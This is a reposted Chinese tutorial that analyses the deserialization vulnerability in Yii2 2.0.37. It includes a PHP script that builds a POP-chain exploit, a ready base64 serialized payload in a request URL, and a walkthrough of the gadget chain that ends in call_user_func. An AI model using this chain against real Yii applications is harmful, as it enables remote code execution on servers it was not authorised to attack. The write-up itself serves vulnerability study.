ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

15-PHP代码审计——yii 2.0.37反序列化漏洞

2021-06-06 20:29:38  阅读:241  来源: 互联网

标签:2.0 15 yii call user func array 序列化


Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,如果程序内部调用了unserialize() 反序列化时,那么程序就可能存在反序列化漏洞,攻击者可通过构造特定的恶意请求执行任意命令。

 

影响版本:

yii2 v2.0.37版本以下

环境:

yii-basic-app-2.0.37.tgz

php7.0以上

poc:

http://www.yii2.com/web/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

 

在github上下载yii框架,网址:https://github.com/yiisoft/yii2/releases/tag/2.0.37

下载完成后,把yii2解压到网站的根目录下,打开浏览器访问yii项目的目录下的requirements.php文件,访问http://www.yii2.com/requirements.php

如果出现以上页面再修改yii项目的config目录下的web.php文件

 

 

 

这里我是放在phpstudy的www目录是C:\phpStudy\PHPTutorial\WWW\yii2.com\config,将cookieValidationKey的值随便修改成一个字符串,这里我直接修改成123。

 

 

修改完web.php文件后再访问http://www.yii2.com/web/index.php,如果出现以下页面说明安装成功

 

 

安装完成后,在yii项目的controllers目录下新建一个TestController.php文件,并编写如下代码

 

 

生成poc的代码,如下所示:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
//进行序列化和base64编码
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

执行以上poc代码,生成payload数据。

 

 

然后我们再访问之前提交的poc,浏览器直接回显了phpinfo页面,说明yii反序列化漏洞利用成功

 

接下来从之前自定义的TestController.php文件开始分析yii的反序列化漏洞。

当TestController反序列化时会调用BaseYii类的静态方法autoload依次完成pop利用链的初始化操作(__construct),yii反序列化漏洞的利用点是BatchQueryResult类的__destruct方法。

public function __destruct(){
    // make sure cursor is closed
    $this->reset();
}

 

接着又调用了reset方法:

public function reset(){
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

reset方法中通过_dataReader属性又调用了close方法,那么_dataReader应该指向了一个对象。

 

而前面构造的poc中_dataReader属性指向了Generator对象,但Generator类并没有close方法,当一个对象调用了不可访问的方法时会触发__call方法,因此$this->_dataReader->close()这一步实际上会调用__call方法

public function __call($method, $attributes){
    return $this->format($method, $attributes);
}

 

 

__call方法内部又调用了format方法,该方法内部调用调用了getFormatter函数和call_user_func_array函数,对php函数比较熟悉的同学应该知道,call_user_func_array是一个危险的函数,也就是说前面的__call方法其实是作为一个“跳板”,我们需要通过__call函数来间接调用call_user_func_array函数。

public function format($formatter, $arguments = array()){
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

注意:call_user_func_array函数有两个参数,其中第二个参数是不可控的,重点关注第一个参数。

 

 

先分析getFormatter函数,该函数内部先判断是否设置了formatters,然后获取formatters的内容返回,说明formatters可控的,因此在构造pop利用链时可以指定formatters属性的内容

public function getFormatter($formatter){
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

 

接着就调用了call_user_func_array方法并将getFormatter函数获取到的内容以数组的方式作为参数,call_user_func_array函数会根据第一个参数的内容调用了run方法。

public function run(){
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }

    /* @var $model \yii\db\ActiveRecord */
    $model = new $this->modelClass([
        'scenario' => $this->scenario,
    ]);
    $model->load(Yii::$app->getRequest()->getBodyParams(), '');
    if ($model->save()) {
        $response = Yii::$app->getResponse();
        $response->setStatusCode(201);
        $id = implode(',', array_values($model->getPrimaryKey(true)));
        $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
    } elseif (!$model->hasErrors()) {
        throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
    }
    return $model;
}

run方法内部通过this对象拿到checkAccess和id(就是phpinfo和1),然后调用 call_user_func危险函数远程执行命令操作。

 

 

这里肯定有小伙伴很疑惑CreateAction类的run方法是如何被调用的,在这之前,先来学习一下call_user_func_array函数的用法

<?php
/**
 * Created by PhpStorm.
 * User: test
 * Date: 2021/6/6
 * Time: 15:58
 */

//Test类有成员方法和静态方法
class Test{
    public function fun1(){
        printf("---function fun1---");
    }

    public static function fun2(){
        printf("---function fun2---");
    }
}

//直接调用类中的成员方法和静态方法,需要将类名和方法以数组的方式传递
//不实例化来调用Test类的成员方法
call_user_func_array(array("Test", "fun1") , array());
//不实例化来调用Test类的静态方法
call_user_func_array(array("Test","fun2") , array());


//实例化对象调用方法,需要将对象和方法以数组的方式传递
//实例化调用方法
call_user_func_array(array(new test , "fun1") , array());

 

执行结果如下:

---function fun1------function fun2------function fun1---

 

在前面的分析中我们知道call_user_func_array函数的第一个参数是由getFormatter函数返回的,也就是说getFormatter函数其实返回的是一个数组,该数组的内容为[new CreateAction , "run"],通过将对象和成员方法以数组的形式作为参数传递给call_user_func_array函数实现调用CreateAction类的run方法,这是一个非常巧妙的利用思路。

 

最后整理一下yii反序列化漏洞的pop利用链:

到此,漏洞分析完成。

 

 

参考文章:

https://blog.csdn.net/xuandao_ahfengren/article/details/111259943

https://my.oschina.net/botkenni/blog/844631

标签:2.0,15,yii,call,user,func,array,序列化
来源: https://blog.csdn.net/qq_35733751/article/details/117635760

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有